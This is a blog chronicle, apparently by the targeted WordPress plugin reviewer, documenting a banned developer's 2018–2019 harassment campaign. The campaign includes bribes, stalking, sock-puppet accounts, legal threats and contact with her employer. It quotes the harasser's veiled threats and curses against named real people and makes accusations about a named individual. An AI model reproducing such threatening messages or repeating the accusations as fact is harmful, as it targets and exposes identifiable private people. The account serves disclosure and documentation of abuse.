In January Mr. Tiwari resumed emailing with a new story. Now he had a day job in service/manual labor (from 10am to 10pm) and had learned some humbling things. He also claimed to be fiscally responsible for his hitherto unmentioned 8 siblings (previously only a sister who was getting married was mentioned), his mother was dying because of the stress, his ex wasn’t talking to him, and he needed a loan from Mrs. Epstein for $10,000 USD.
Unsolicited advice on how to run LezWatch.TV also persisted and new protections were put in place.
### Contacting the US Congress and Senate
Next Mr. Tiwari emailed **Alexandria Ocasio-Cortez** (the US Representative from New York) for help, claiming he was a law-abiding citizen who needed help having his plugins restored. He went on to email multiple unrelated third-parties, including the NY Times and informed the Plugins team:
> I tend to bring wordpress.org for hearing under Congress and do whatever you want and remember as of now I am following legal route only. If you tend to damage my reputation, I have also plenty of ways to handle your arrogance.
He raised the bar with ‘legal threats’ and claims that he would bring WordPress up to Congress for this. After cc’ing the plugins team on 14 separate such emails, he informed he would keep emailing them, but stopped cc’ing. His emails, which were all very similar in tone, expressed the following:
- That Mrs. Epstein can transfer ownership of any and all plugins to herself
- That there is no ‘law’ that permits a plugin to be closed if the violation was in another plugin
- That there is no ‘law’ that permits a website to moderate content
- That it is against the law to not permit someone to edit their own content
- That it is a conflict of interest to allow someone who has their own plugins to govern others
Requests to meet in person (should Mr. Wood or Mrs. Epstein come to India) persisted, as did requests for video chat. All were ignored and blocked.
### Further Blocks
Mr. Tiwari continued to cyberstalk Mrs. Epstein on Twitter, following her and emailing regarding various tweets under the mistaken assumption they were about him. When she tracked down his new twitter account and blocked it, she also reported it for harassment (which as the harassment was outside Twitter, there was nothing they would do). He retaliated by making three new emails with mail.com and blasting the plugins email. Again this behavior was reported to mail.com. He also rage-deleted the twitter account, however Mrs. Epstein had to do another purge of all possibly suspect accounts who followed her.
In the course of those emails, Mr. Tiwari claimed he’d tried to call Mr. Mullenweg, ‘threatened’ to tell his former employees to email en masse to complain, and asked if the plugins team wanted him to go to jail.
> I am giving your email address to my guys as they are forcing me to email you again and again and i am unable to give them proper reason for removing them.
Again, Mrs. Epstein never provided her personal email addresses.
There were implications of how Mrs. Epstein’s life would end in suicide or murder:
> Now you thinks that you twitter friends will get fun with your tweet but very very few will come forward when you will be in problem.
>
> and we will be one of them. Anytime you need help. Now you dont need but time is very powerful noone knows what will happen
>
> Saddam Hussain never thought that he can be hanged
>
> Hitler never thought he has to commit suicide
>
> Gadaffi never thought that he will be killed by rebels
>
> TIME IS MORE POWERFUL THAN ANYONE ELSE
>
> YOU THINK YOU CAN HARM US, YES YOU ARE RIGHT BUT THIS IS YOUR TIME AND WHEN OUR TIME WILL COME WE WILL NOT BEHAVE LIKE YOU. WE WILL BEHAVE LIKE MATUTRED PERSON
>
> YOU ARE BEHAVING LIKE KID.
Mr. Wood replied and repeated that all anyone wanted was for him to leave them alone. This was, again, untenable to Mr. Tiwari.
### Cessation of Communication by Plugins
As of **January 17th 2019**, it was determined there would be no further attempts to reason with Mr. Tiwari and all emails would be filed and/or blocked. There would be no replies to his email, and all email would be filed and ignored. Prior to this Mr. Wood had been, occasionally, asking him to stop.
Around this time, mail.com banned the IP used to create the harassing email addresses. The company cautioned that Mr. Tiwari would just use another IP, which he did in order to make more emails, which were in turn reported. The next day he moved to protonmail, presumably because mail.com banned him. This was reported to ProtonMail.com however based on their entire raison d’etre, this was determined as unlikely to bear fruit. ProtonMail never replied, however emails from Mr. Tiwari via their services soon after ceased.
Following that, Mr. Tiwari continued to email, though at a slower rate for no discernable reason. He continued to argue that because of Donald Trump, they should be permitted back, but also now asking if they could reproduce HalfElf.org posts on their site (there is already a license – – which says not for commercial sites, which Way2Enjoy.com would be). With yet *another* new email account, he explained how he found a way around the blocks to SMS his ex fiance:
> i sent sms to my fiancee through some online website as she has blocked me in whatsapp, call and sms through regular means and requested her to unblock in whatsapp.
>
> she unblocked.
>
> then i said hi, she replied hi. then she asked ur plugin issue solved??
>
> i said no
>
> again blocked
This later established a pattern of harassment with multiple people. In addition, he took photos of unsuspecting people on his transit, sending them to Plugins and claiming they were ‘aflicted with the transgender condition’ and resorted to begging for money. It’s assumed he did this because of Mrs. Epstein’s work with documenting queer television media.
### Charity Work
Starting January 23, following another ‘threat’ to purchase a domain with the intent of ‘helping’ Mrs. Epstein’s personal project (LezWatch.TV), Mr. Tiwari turned to self-proclaimed charity. His initial claims that he was unable to worship at a temple until he was allowed back in the directory led him to believe that the correct solution was to donate blankets to the poor and homeless. While he misunderstood the size of the United States, he also read the initial lack of response to his proposal (re the blankets) as ‘laughing’ at him, because it got to -22 in the US that week. He also accused her of murder:
> If We are harasser as per your logic then you are murdere as you have killed livelihood of severals.
>
> \[…\]
>
> So if we are harasser you are murderer and curse of 50 people is always with you for wrongdoing and remember when you drive, you can control your driving ut who is coming from behind or front and what is his status whether he is fully drunk, driving after boss firing, or wife firing or anything and how cool or distur he is not known to you but everything knows to god.
>
> You have disrespect the Lord Balaji and Lord Shiva, You will get hardest punishment in coming days.
>
> I have visited 15 times to Lord Balaji and know his power well and soon you will realise.
The chosen charity work was to deliver blankets, though he made sure to stress how much of a hardship this was for him. Earlier claims by Mr. Tiwari included that his own physical condition was poor, and his leg and back prevented him from laboring. Also that he had no money to survive and help his family. Mr. Tiwari provided video ‘proof’ of his actions that did not prove much of anything at all. Following that, he decided god would tell him when to stop donating, and thanked us for the opportunity. He insisted this had nothing to do with his request to be unbanned, however he emailed immediately after saying if Plugins un-banned him, he would have more money to give away.
### DreamHost
The very next day (24-Jan) Mr. Tiwari both accused Mrs. Epstein of murder, cursed her again, and then sent an email implying he’d mailed her a ‘Sorry’ card from Hallmark. Later that morning he attempted to contact her via DreamHost’s company chat and ticket system, at which point Mrs. Epstein escalated to her internal legal team. In reviewing those logs, it became evident he claimed to have physically mailed a card to the DreamHost offices. This drastically altered the credibility of any threats made.
Emails continued to plugins after this, a variety of love songs and an attempt to frame Mrs. Epstein as being the one who is doggedly pursuing vengeance. In those emails, Mr. Tiwari made the following claims:
- That because few people (i.e. forum moderators) saw his misbehaviour, it’s okay and doesn’t count.
- That the fault is on WordPress.org for punishing the misbehaviour of an 18-year old employee who, unsupervised, used his account.
- That Mrs. Epstein wanted him to get 1-star reviews.
- That being banned is forcing him (and his company) to become criminals.
- That none of Mrs. Epstein’s friends would ever tell her she was making mistakes.
- That being banned prohibits him from attending prayer at his chosen temple.
- That Mrs. Epstein is physically ugly due to her lack of forgiveness.
Precautions were taken at the DreamHost offices and systems.
### Threat to “damage you maximum”
On January 25th, Mr. Tiwari claimed Mrs. Epstein had reduced his plugin ‘active user’ count to zero by editing the database. Mrs. Epstein has no database access on WordPress.org, and at best she could edit the values in WordPress, but they would re-set after 4 hours or so which would be pointless. However closed plugins no longer display user count as part of an attempt to prevent abuse by developers. This course of action was over the line, according to Mr. Tiwari, and he threatened to harm Mrs. Epstein’s reputation:
> I will damage maximum and you will be responsible as i begged like anything for 65 days and unethically you changed my active install count for both plugin to zero and you will be loser. The name you have made in 15-20 years time you are ruining with your anger.
The deadline to restore his plugins was given as Wednesday, January 30, 2019 3:27:25 PM.
On Tuesday the 29th, he walked back on this threat, however he also blamed the Polar Vortex on Mrs. Epstein, and the wrath of his god.
## February
Beginning February, full details of each email to Plugins were no longer being recorded unless they were of significance. The gist remained the same: Mr. Tiwari was sorry, he begged for one more/a second chance, his mother was sad, we have destroyed his life.
This is also when Mrs. Epstein’s father passed away unexpectedly.
Mid-month Mr. Tiwari announced his former fiancee was getting married to someone else, and the wedding would be on Feb 27th. On Feb 23rd, he asked to come to America and meet Mrs. Epstein for 15 minutes in March. The likelihood of him acquiring a Visa was determined to be low based on his economic situation and intent, as the U.S. State Department was enforcing stricter visa requirements at that time.
Around this time, Mr. Tiwari brought to light the fact that he used to compensate reviewers with free credits. That was another guideline violation (such behavior is considered to be bribery and it is prohibited to compensate people for reviews). Starting in October of 2018, he explained that he had offered 1000 credits for a review, which explained why he had such a strange number for such an ill used plugin. In accordance with WordPress.org guidelines, **all** reviews were closed and removed.
As of February 27th, he claimed that he would come to the United States immediately if he was unbanned. The implication is that if he was unbanned, he would be able to stop his ex-fiance’s wedding to someone else, and thus marry her. Following that he would come to Los Angeles to “touching ur feet (this is the way we respect our elders/gurus) and seek ur kindness on us” – This was reported to DreamHost, as the only LA location Way2Enjoy might know for Mrs. Epstein would be the LA offices. Again, the email was not replied to.
On average, 20 separate emails were received each day throughout the month.
## March
On Friday, March 1, Mrs. Epstein took her account private for a few days and used the time to block all suspect accounts going back to 2016. Starting with when she went private on the 1st, emails ceased. There was an email wherein Mr. Tiwari said he wanted to follow her on Twitter:
> respected madam,
>
> i m least interested in following u i am doing so because i need ur blessing back.
>
> Please unban or allow to publish new plugins so that i get something to engage myslef. now my only work is to please u so i keep thinking everything possible which can help me convince u.
>
> now my fiancee is also not there so now i am more alone
Then he sent a final email with a photo of three children, saying these mysterious children (who had never been mentioned before or since) would be unable to attend school.
On March 7th he created a [new user account](https://wordpress.org/support/users/lucyimageoptimizer/) on WordPress and resubmitted his optimizer plugin. The account was banned and the plugin rejected without comment. Subsequently, he emailed 9 times, offering to send flowers to her office as well as come to America on April 11th, to meet with Mrs. Epstein. None of these emails were replied to, however as he was using a new gmail account, Gmail’s guidelines were checked.
Per Google’s Gmail guidelines:
> Don’t create or use multiple accounts to abuse Google policies, bypass Gmail account limitations, circumvent filters, or otherwise subvert restrictions placed on your account. (For example, if you’ve been blocked by another user or have had your Gmail account disabled due to abuse, don’t create a replacement account that engages in similar activity.)
This meant a second account like that was a clear violation of Gmail’s guidelines, and was reported.
### Another Delivery
On March 8th, Mr. Tiwari claimed he was sending flowers to Mrs. Epstein. It was presumed he meant her office, since he did not (and does not) have her home address. The appropriate people at DreamHost were notified, since while it was unlikely to be true, it was better to be safe.
His claim:
> However i have chosen this. You will be receiving this on Monday.
>
> i have chosen *one dozen rainbow roses* so that atleast one rose u like and
> pardon us
>
> (Link)
Then Mr. Tiwari claimed he was going to come to the US on April 11th.
> Here is my flight for USA but i wont get visa untill u allow to meet u.
>
> if u would have accepted apology through SKYPE or email that would be great but i would like to meet u once because i have really done lot of nonsense and i deserve to meet u and fole my hand and say
>
> SORRY from hear
>
> up flight
>
> (Link)
>
> return flight
>
> (Link)
>
> visa fee 190$
> total will be approx 2000$
>
> Need ur ok to book flight else rate will increase.
>
> i request ur 5 min time outside dreamhost if possible or any nearby place if u guide.
>
> i need ur blessing to sail through this life
No one replied to him and this too was reported to Automattic and DreamHost.
### Twitter
Mr. Tiwari then made it clear he will continue to stalk Mrs. Epstein’s Twitter account to find out how he can change her mind.
On the 13th, Way2Enjoy made a threat to destroy her life:
> u destroyed my life and i ll destroy urs.
>
> u give lifetime ban, i will give lifetime ——-
>
> its coming sooner than expected because u dont believe in together we win. u belive in showing attitude and wait
And in a subsequent email:
> in my case there wont be unban button.
>
> it will remain for life and u will remember for life the begging i did for 7 months and wish i had not that much ego.
Again, there was no reply made to this threat. One presumes he was reading into Mrs. Epstein’s tweet about how to ask forgiveness and presumed it was about him. He appeared to believe everything she tweeted was about him. This was reported to mail.com (complete with full headers) however they appear to be unable to manage things.
In addition, his claims of 6, 7, and 8 months of being banned were a gross exaggeration. He had, at this point, been banned less than 4 months.
### Another New Plugin and Bribes
On March 14th, Mr. Tiwari made another new user and submitted a new version of their plugin. This was, again, rejected without comment, immediately prompting another email with another threat:
> u r one OK away from disaster for u
>
> i tried my level best.besgged 8 months. stop witch hunting else first disablities and then u willl fly in air
Again, this was not replied to. He escalated the bribery attempts, claiming that he was now rich because he was selling his product elsewhere, and wants to either donate $100,000 to charity or the WordPress foundation *or* buy Mrs. Epstein and Mr. Wood Teslas. This is only of interest because he mentioned the town in which Mrs. Epstein resides. At this stage, legal protection was investigated as the state of California has a dim view of this sort of thing.
Mid-March, he explained he was making money via extensions on Prestashop, Magento, and Shopify’s services, and now was rich. He and an unnamed partner would pay for and sponsor Mr. Tiwari to travel to Chicago on March 25th, in order to establish a web hosting business. Towards this end, he wished to offer Mrs. Epstein free hosting for life and part ownership:
> we are coming to chicago on 25th march for hosting datacentre negotiations. u have huge experience in hosting but u want to be an employee or want to own it??
>
> We will be more than happy to have u as our hosting partner. we can share the profit 1/3rd.
>
> i am not very disappoined by ur ban as i have got huge in other business and i understand god very well. he does everything for good. in image optimizer 99% of our customer was free , in other platform it is all paid. in prestashop, magento , shopify none are free for download even. and later huge rates.
A quick search of those platforms did not show his work at the time, though some came later. The massive contradictions in his stories (that he is broke and cannot visit his family, he is working manual labor, he has no money to come to LA in April, etc etc) suggested that he was lying.
### Threats Again
On March 17th around 8pm UTC, he again decided to email four times and announce his intentions to sue WordPress and press charges in every nation.
> Approx 6 month is over. So we are reporting to all countries all federal authorities including European union for unethical practice by wordpress.org.
>
> \[…\]
>
> We will be filing 10 million dollar damage in usa court on 26th of March during my USA visit
This string of emails was forwarded to HR at DreamHost and Mrs. Epstein considered locking her Twitter account, but decided it wouldn’t matter either way. As Mr. Tiwari was reading her websites and social media, he had determined his god is the reason her father died in February, and took it at a sign more horrible things would happen to her. He also repeated multiple times that he was coming to Chicago on March 25-28th, and wishes to meet Mrs. Epstein there in order to hire her for his new Webhosting business. It’s possible he picked Chicago as Mrs. Epstein once lived there.
On March 19th, he bombarded LezWatch.TV again with a peculiar series of messages.
> Here is new show for ur site. u harm i hamr. together we both waste eash other time instead of working something good. u people are negative so i think negative can be fought o0nly with negative
He also attempted to file a report with the LAPD for vandalism, not realizing that it’s not legally vandalism and nothing happened in LA, so it’s outside their jurisdiction. When the LAPD site blocked his application for help, he turned to ask the Plugins team for assistance. None was provided.
On the 21st he began a change.org petition which originally had Mrs. Epstein’s name on the page. Change.org was contacted by Mrs. Epstein who requested that the entire thing be removed, as it was a case of harassment. By the end of the day, Change.org had removed the petition entirely.
> *Thank you for writing to us to flag this content. Our team has determined that this petition violates our Community Guidelines in relation to bullying, and we have now removed it.*
>
> Change.Org
After this, Mr. Tiwari attempted to bribe Mrs. Epstein again by setting up his company to pay her:
> i will be adding ur paypal account as payment method
>
> (Redacted Email address)
>
> so all money will come to u. u can donate wherever u want.
Mrs. Epstein ensured this would not be possible by, among other things, removing the address he was using from PayPal entirely and alerting them to the situation. No payments were sent to her account.
### Quitting
On March 22nd, 12 hours *after* confirming he had changed his Paypal to Mrs. Epstein’s address, Mr. Tiwari emailed from his main email a ‘farewell’ message, indicating he would no longer contact them.
At that time, DreamHost and Automattic legal teams continued investigating various options. Since Way2Enjoy had claimed to cease contact in the past, and reneged on such, it was assumed he would again attempt to contact the Plugins Team.
> Finally i will accept that yes we did series of mistakes.
>
> We are not as experienced as you guys are. Our intention was never wrong but lacked experienced and maturity.
>
> We focused fully in plugin and few things did without thinking side affect and post ban also we did series of mistakes.
>
> It was awesome working with u guys. With this ban we learnt lot and did mistake lot but life has given other opportunity to move forward.
>
> We still love our plugin like anything as we developed in 3 years time but your decision is right.
>
> If in future, you think that those plugin deserves one chance we will be thankful for your gesture.
>
> Sorry and Good bye Wordpress. We will miss u loooooooooooot.
## April
On April 7th, regardless of his goodbye, he again emailed, asking to be unbanned.
> Its almost 6 months for guideline violation mistake. We have developed that plugin in 3 years day/night 24 hours, 365days hard work. Already apologized sincerely millions times
### Cease & Desist
On April 10, 2019, a Cease & Desist notice was filed via Automattic. Mr. Tiwari replied to the notice, making it clear he had no intention whatsoever of complying with the notice. In his reply, he continued to grossly misunderstand what is and is not a bug, as well as refusing to accept responsibility for his own team (which is: he was warned and he still permitted unsupervised support techs to use the official developer account).
Per his request, the whole situation was reviewed by multiple people other than Mrs. Epstein, and all agreed that due to the number of warnings and violations, it was a reasonable decision. Furthermore, his subsequent behavior made it clear that he had no intention of correcting his behavior.
He emailed the Plugins Team two times following that, but did not mention the C&D either time. Neither email was replied to. Since then, he emailed the legal firm multiple times, threatening to file against them, among other things.
## May – June
For most of May, he spent the time harassing the legal firm and claiming he would contact the Supreme Court of India.
> We are filing case in high court for ban of Wordpress.org and [wordpress.com](http://wordpress.com/) for operating in India until they behave in professional manner and follow ethics.
And the email to the courts was CC’d to the Plugin team, including this:
> They sent us this notice which is full of threat, lie and intimidation and same day we said that, we want to pursue this case in high court or supreme court of India.
On June 11, 2019, he emailed his intent to file with the California courts and that Mrs. Epstein would be notified within a few days.
> I begged like anything. I never wanted to go through legal process and damage the relationship permanently but you did not agree to remove ban even after 200 days.
>
> we have already apoligized million times to sort out issue but your intetion is to damage nothing else.
>
> you acted completely unprofessional and unethical and forced us to file the case.
>
> we did not hack, we did not stole, we were ready to give anything and everything you want in writing in stamp paper but your intention is just to harm us.
>
> tiktok was banned for pornography with 120 million users and numerous example we gave.
>
> now we are filing case in california court and you will receive notice in few days.
To the best of anyone’s knowledge, no such court notice was ever generated.
### Another New Account
On 15 June 2019, the Plugins team was made aware of a [new account](https://wordpress.org/support/users/pushdaddy/) owned by Mr. Tiwari. The company, [PushDaddy](https://pushdaddy.com) was flagged for trademark abuse (using the GoDaddy logo) and investigated. It was quickly determined that the domain was owned by the same registrant as Way2Enjoy.com based on public dns information.
Screenshot demonstrating the use of the GoDaddy trademarked logo.With that information, the accounts were banned and the plugin removed without notice. At no time did the PushDaddy account attempt to contact Plugins, and in fact it was not until a legal notice was filed that it was mentioned at all.
### Legal Notice
On 1 July 2019 a legal notice was finally emailed to Automattic’s lawyers, and CC’d to the plugins email. In this claim it was disclosed that the above plugin **was** indeed created by Mr. Tiwari:
> It is pertinent to mention here that my client had developed and published one new app for WordPress.org which was also banned on 16th June,2019 without any discussion and also without any communication to my client.
>
> Response to C&D issue
In the initial contact to Mr. Tiwari, he was informed that any attempt to circumvent his ban would be seen as a hostile action and further sanctions would be levied. Since that time he created a minimum of 5 accounts and attempted to submit plugins 3 separate times.
In the legal notice he claimed that there has been no threat from Mr. Tiwari, however there are email records including a threat to ask his god to act on his behalf on 26 November 2018 as well as threats to “damage” Mrs. Epstein’s life “maximum” on 25 January 2019, a claim that the bad weather in the US was due to his prayers to his god and he would never help her achieve forgiveness, and threats to destroy Mrs. Epstein’s life on 13 March 2019.
The notice also claimed Mr. Tiwari had behaved in a ‘humble and peaceful way to resolve the differences.’ This can be easily disproved by the aforementioned threats, but also by his own words in an email from 17 March 2019:
> My apologies that I used some filthy languages to mika in past bit after 6 months and two times rejection of new fresh plugin I lost my patience.
That email chain also included a threat to destroy Mrs. Epstein’s website rankings in Alexa as well as a heavy implication that the death of Mrs. Epstein’s father was her fault and caused by Mr. Tiwari’s prayers:
> I wish, u would have respected Tirupati Balaji. I went there 15 times and he will fulfill anything u wish but if u wont go once it is fulfilled he will damage like anything. its my personal experience.
This claim was followed by a copy of Mrs. Epstein’s post regarding her father’s recent death on her personal blog.
On 16 June 2019, Mr. Tiwari apologized for the bad comments, claiming he knew that the apology may work against him in a court of law. It certainly went against his own claims of being ‘humble and peaceful.’
## August – October
In the beginning of August, Mr. Tiwari sent two more messages to the plugins email asking why all this was being done against him. Then he announced, on August 6th, he was going to Tirupati, the temple his god resides at. He would be leaving on August 20th.
On the 10th, he commented on the video Mrs. Epstein made for her employer (DreamHost), but there were no further emails or attempts to contact in August.
After being out of the office for a few weeks, traveling, Mrs. Epstein returned on 24 September to find a package on her desk. That was a normal occurrence due to her travel load, however this package was from Amazon (sent 13 September) and contained a book of “7 Habits for Highly Effective People” – and per the message it was from Mr. Tiwari. This was later confirmed by his email asking if the package was received.
Mrs. Epstein contacted HR at DreamHost and notified the legal contacts at Automattic immediately, as well as warning Mr. Wood in case he became a similar target for such things.
Emails resumed again in October. This time the story was that his mother is dying and he needed his plugins back so he could make money to save her.
## November
On the anniversary of the ban (Nov 22), he emailed Mr. Wood and Plugins:
> Respected Madam,
>
> Today its one year of ban.
>
> You know more than me and more knowledge as well.
>
> I know little available in public. For small crime like robbery etc Judge gives maximum one year of jail. We were not involved in any such things.
>
> **I respect your decision whatever you take.**
>
> Wordpress is like our Mother and we are its child. If you can consider unban we will be thankful to you.
The bolding was in his original email. The decision to ban him remained in place. In reality, he did not respect the decision.
## December
Early in the month, an email was sent to plugins claiming the employee who misused the account, setting off this chain of events, was now gainfully employed by the Indian government at 5 times the salary from his work at Way2Enjoy. Mr. Tiwari said he provided the man with Mrs. Epstein’s address (at DreamHost) and a card was forthcoming.
The card arrived on December 12th and was processed by HR at DreamHost. That same day, Mr. Tiwari emailed multiple employees at DreamHost the same message, asking they help him. This was reported to HR who took appropriate action. Since that date, Mr. Tiwari resumed attempting to gain assistance via DreamHost’s official support methods, as well as cold-emailing a large number of employees and trying to contact them via LinkedIn. In some cases, he pressed for Mrs. Epstein to be fired.
HR sent an email to the company directing them to not reply and to forward communication to HR please. They also issued congratulations to Mrs. Epstein for fighting the good fight.
> Recently, individuals in legal, HR, and in development at DreamHost received emails from this individual asking us to take action against Mika Epstein. Mr. Tiwari has reached out through LinkedIn to gain information on certain people who work for DreamHost (such as me) and has tried to make contact with me personally. In his communication, he urges DreamHost to take action with Mika suggesting we terminate her. So we are going to hereby take action!
>
> Here is the official action:
>
> **Great Job Mika! Thanks for ridding the technical world of techno-criminals like this who seek to harm the greater open source community! We Embrace Open Source!**
>
> Internal DreamHost communication
Overall, DreamHost was nothing but supportive and protective of Mrs. Epstein.
The following day, **18 December**, Mr. Tiwari proclaimed Mrs. Epstein was the cause of his sister’s husband’s death and that he would take revenge.
> this is my last email to you.
>
> you are responsible for my sister husband death.
>
> lifetime i will take my revenge back
This was reported to Gmail as a threat, which is a ToS violation.
The final email for the year was a wish for a Merry Christmas.
---
### [Harassment by Way2Enjoy - 2018](https://halfelf.org/harassment-rst/rst-2018/)
**Published:** October 24, 2022
**Author:** Ipstenu (Mika Epstein)
**Content:**
**The Saga of Harassment by Way2Enjoy:**
**[Home](https://halfelf.org/harassment-rst/) | [2018](https://halfelf.org/harassment-rst/rst-2018/) | [2019](https://halfelf.org/harassment-rst/rst-2019/) | [2020](https://halfelf.org/harassment-rst/rst-2020/) | [2021](https://halfelf.org/harassment-rst/#2021) | [2022](https://halfelf.org/harassment-rst/rst-2022/)** | **[2023](https://halfelf.org/harassment-rst/rst-2023/)** | **[2024](https://halfelf.org/harassment-rst/rst-2024/)** | **[2025](https://halfelf.org/harassment-rst/rst-2025/)**
*(Last Updated 22 May 2025)*
## Table of Contents
- [November](#november)
- [Bribery](#bribery)
- [Harassment](#harassment)
- [Admission of Guilt](#admission-of-guilt)
- [Escalation](#escalation)
- [December](#december)
- [Legal Threats](#legal-threats)
- [Mr. Wood Attempts to Reason](#mr-wood-attempts-to-reason)
- [Additional Legal Threats](#additional-legal-threats)
- [Spamming Personal Websites](#spamming-personal-websites)
## November
Between November 21st and the 27th, the Plugins team received over 30 emails in 9 email ‘chains’ (that is, using the same subject and replying to himself). The first few replies were replied to in kind, reminding Mr. Tiwari that he, the Way2Enjoy account, and his company had their fair chances and they squandered it. As of the 28th, emails were not replied to for 24 hours in an attempt to allow Mr. Tiwari to cool down. At that time, Mr. Tiwari was again informed as to his numerous violations, and asked to stop emailing or their actions would be treated as harassment.
The emails did not stop. 21 more replies that week were sent following that via three separate email addresses.
### Bribery
On Saturday November 24th, two bribery attempts were made via PayPal, for first $5 and then $10 USD. The money was refunded without comment. As both payments included the request to ‘forgive,’ it was seen as a direct attempt to coerce Mrs. Epstein to restore his plugins in exchange for money.
In order to prevent further bribery attempts, Mrs. Epstein was forced to block non-US addresses and contacted PayPal’s abuse team for help, as she could not block the user specifically and they were attempting to bribe her. PayPal recommended legal action, but since the sender was outside the US, there was little to be done from their side.
### Harassment
Following this, Mr. Tiwari began to email Mrs. Epstein’s personal address again. As she had preemptively blocked his email following the bribery attempt, all emails from Mr. Tiwari bounced. He took that as impetus to find another point of contact and instead emailed her rarely used gmail address.
It’s important to recognize here: *Her emails were never provided to them.* It is not difficult to guess them, but they were never offered. This contact occurred **AFTER** Mr. Tiwari was asked to please stop emailing, or it would be seen as harassment.
Multiple emails were sent, with varying degrees of attempts to garner sympathy. The most unique one was the claim that he was getting married on **December 20th**, but this would not happen because he can’t promise her father that he can provide for her. None of these emails were replied to, however they were filtered to a ‘Harassment’ folder and Google informed of the ongoing harassment as it’s a violation of Gmail’s terms to make multiple accounts or to use them to harass or bribe.
### Admission of Guilt
On Sunday, November 25th, Mr. Tiwari confessed to another guideline violation: having multiple people use one forum account. This behaviour is not permitted due to security concerns. That is, allowing multiple users within one account means it’s impossible to tell who uploads what code, and puts the entire plugin at risk. The WordPress.org plugin team has advocated that people add their non-development staff as ‘Support Representatives’ which affords them a higher status in the forums. This is documented and often emailed to all plugin developers as a reminder.
Mr. Tiwari also admitted to never having read the previous emails in detail. This is confusing since he (or someone using his email account) did mention some of the aspects of the email he was now claiming not to have seen before.
Partial proof of Mr. Tiwari’s fake accounts is that they used the same IP address for all the accounts, and actually replied to themselves. It’s really not that hard to connect when *no one else* used those IPs in that timeframe.
### Escalation
Around this time, Mr. Tiwari escalated to cc’ing Mr. Mullenweg and Mr. Wood in emails. At this time, Mr. Wood was already well versed in the situation, and cautioned Mrs. Epstein to continue not replying (she had already ceased doing so). Mr. Wood did not reply from the Plugin email, and communicated privately with Mr. Mullenweg regarding the situation. The decision was made that *even if* Mrs. Epstein had overstepped in banning Mr. Tiwari and his company, the subsequent responses were unwelcome and created a situation that made it impossible to rescind the ban.
As of Wednesday, November 28th, he sent a (non credible) threat:
> *I begged for one last chance but you people are laughing. Now I pray to Lord ventaetshwara, tirupati balaji the greatest god who is richest in world because whatever wish you ask he fulfill immediately that is the reason I went 10 times there and millions of people go every Year If I am not given last chance, I request Lord balaji to take away your all name, fame, respect, wealth everything.*
> *Jai tirupati balaji show your power to arrogant*
Venkateswara is one of the aspects of Krishna (a form of Vishnu), and generally is someone against greed \[[wikpedia](https://en.wikipedia.org/wiki/Venkateswara)\].
Finally on November 30th, he went to IRC and complained there. OpSec (who manages IRC) banned him, but he promised not to email for 10 days.
## December
Regardless of his claim to not email for ten days, emails to Plugins from Mr. Tiwari persisted. In addition, there were multiple attempts to email Mrs. Epstein’s personal gmail account. Since he was blocked, Mrs. Epstein did not get the emails but she was able to see them cc’d to Plugins’ email. There were also three cases where a ‘user’ emailed plugins asking to know why the plugin was removed. It is believed these users are also fake accounts made by Mr. Tiwari, based on the language used and the digital footprint (ip address etc).
From December 4th through the 8th, no emails were sent by Mr. Tiwari nor his company. However on the 8th, the email tactics changed to what was deemed a **non-credible** threat:
> *I would have met you and begged for pardon if you are nearby but you are In USA. It will cost 5000$ minimum for to and fro from here. we can’t afford that much. We are requesting few of our engineering friends who is settled in USA to meet you but all are in different parts and USA is too big.*
>
> *We are trying to request some Los Angeles local also to meet you but i am scared that it may not increase your anger more towards us.*
While this did not happen, Mrs. Epstein looked into legal action via a restraining order against whoever attempts to accost her in person. The possibility of Mr. Tiwari doing this was considered unlikely, as acquiring a U.S. Visa is complicated at best, and the risk for deportation rather high for anyone who has one and commits crimes. Still, the U.S. State Department was contacted for directions as to reporting such situations.
### Legal Threats
On December 9th, Mr. Tiwari decided Mrs. Epstein was abusing her powers with a lifetime ban, and again the conversation shifted. He explained that Trump made mistakes and he should be forgiven. Emails vacillated between accusations of Mrs. Epstein’s immaturity and abuse of power, but also with her overall ‘godhood’ and power. Either he was begging forgiveness or he was telling Mrs. Epstein that she was evil. This behaviour persisted through to the current day.
Mr. Tiwari offered to skype (that was ignored), and also attempted to send an audio apology (he forgot to attach it and the link 404’d). He provided ‘proof’ of Mrs. Epstein’s ability to apologize by pointing out she had apologized to WP-Spamshield and redacted their ban. This is actually incorrect, as WP-Spamshield was permanently banned and their access has not been restored since, for guideline violation and overall abusive behaviour.
After that, Mr. Tiwari sent images of cats and flowers for about 2 days but also posted an apology in the forums with yet another new account. This was removed by the Forums team. He asked about using the cat-cone Mrs. Epstein’s wife made for his dog, making it evident he was stalking Mrs. Epstein via social media. His subsequent use of content posted by Mrs. Epstein on social media prompted her to review all her followers and block any suspect accounts.
Starting on December 11th, Mr. Tiwari’s tone changed to one of hatred and anger. He claimed Mrs. Epstein was playing “dirty politics” and had high blood pressure issues. Legal threats were now made to plugins and Mr. Mullenweg directly:
> *I am thinking to file one case in India as well. I will update if my case was registered tomorrow.*
The next day he made another account in the forums and via email he threatened a new forum post every day until an independent review was made. At this point Mrs. Epstein asked Mr. Wood about escalating the ban, and Mr. Wood explained he had been emailing Mr. Tiwari regularly, asking him to stop. However at the same time, improvements to blocks on the WordPress.org servers were made.
### Mr. Wood Attempts to Reason
Mr. Wood replied to Mr. Tiwari via the Plugins account and asked him to stop. Mr. Tiwari instead said he would file legal action in India and made the following claims:
- He had gone 7 days without emailing – email logs show he never went more than four
- The Plugins Team prevented him from contacting Mr. Mullenweg – He emailed Mr. Mullenweg directly
- He was not given a chance – He was given at least six
- It’s not harassment to email someone 50+ times after being asked to stop emailing
He also attempted to bribe Plugins again ($100 this time) and said he actually knew what he’d done was wrong, and he tried to cover it up by editing his post. The implication there is apparently it’s okay to do bad things if you delete it or take it back.
Sadly after this the emails picked up again, coming every six hours or so. The basic gist was begging forgiveness.
### Additional Legal Threats
Mr. Tiwari escalated again, asking Mrs. Epstein to come to WordCamp Pune in February to talk to him, and to bring her wife. Again, her personal relationships were never discussed with him. Researching someone online isn’t illegal at all, but underscores his actions of overstepping commonly understood boundaries.
Mr. Tiwari also emailed five (5) separate people from WordPress.COM to complain about this. Those actions brought the situation to the awareness of Automattic.
Mr. Tiwari added in a ‘500$ unconditional bank guarantee to wp.org’ to prove his sincerity in never violating the guidelines again. However he also determined on his own that the problem somehow was his request that moderated accounts be allowed to @-contact people *and* everyone should be allowed to delete a comment without repercussions. Both of those are conscious decisions made to protect the general population. In order to hold people accountable for their actions, limitations must be enforced.
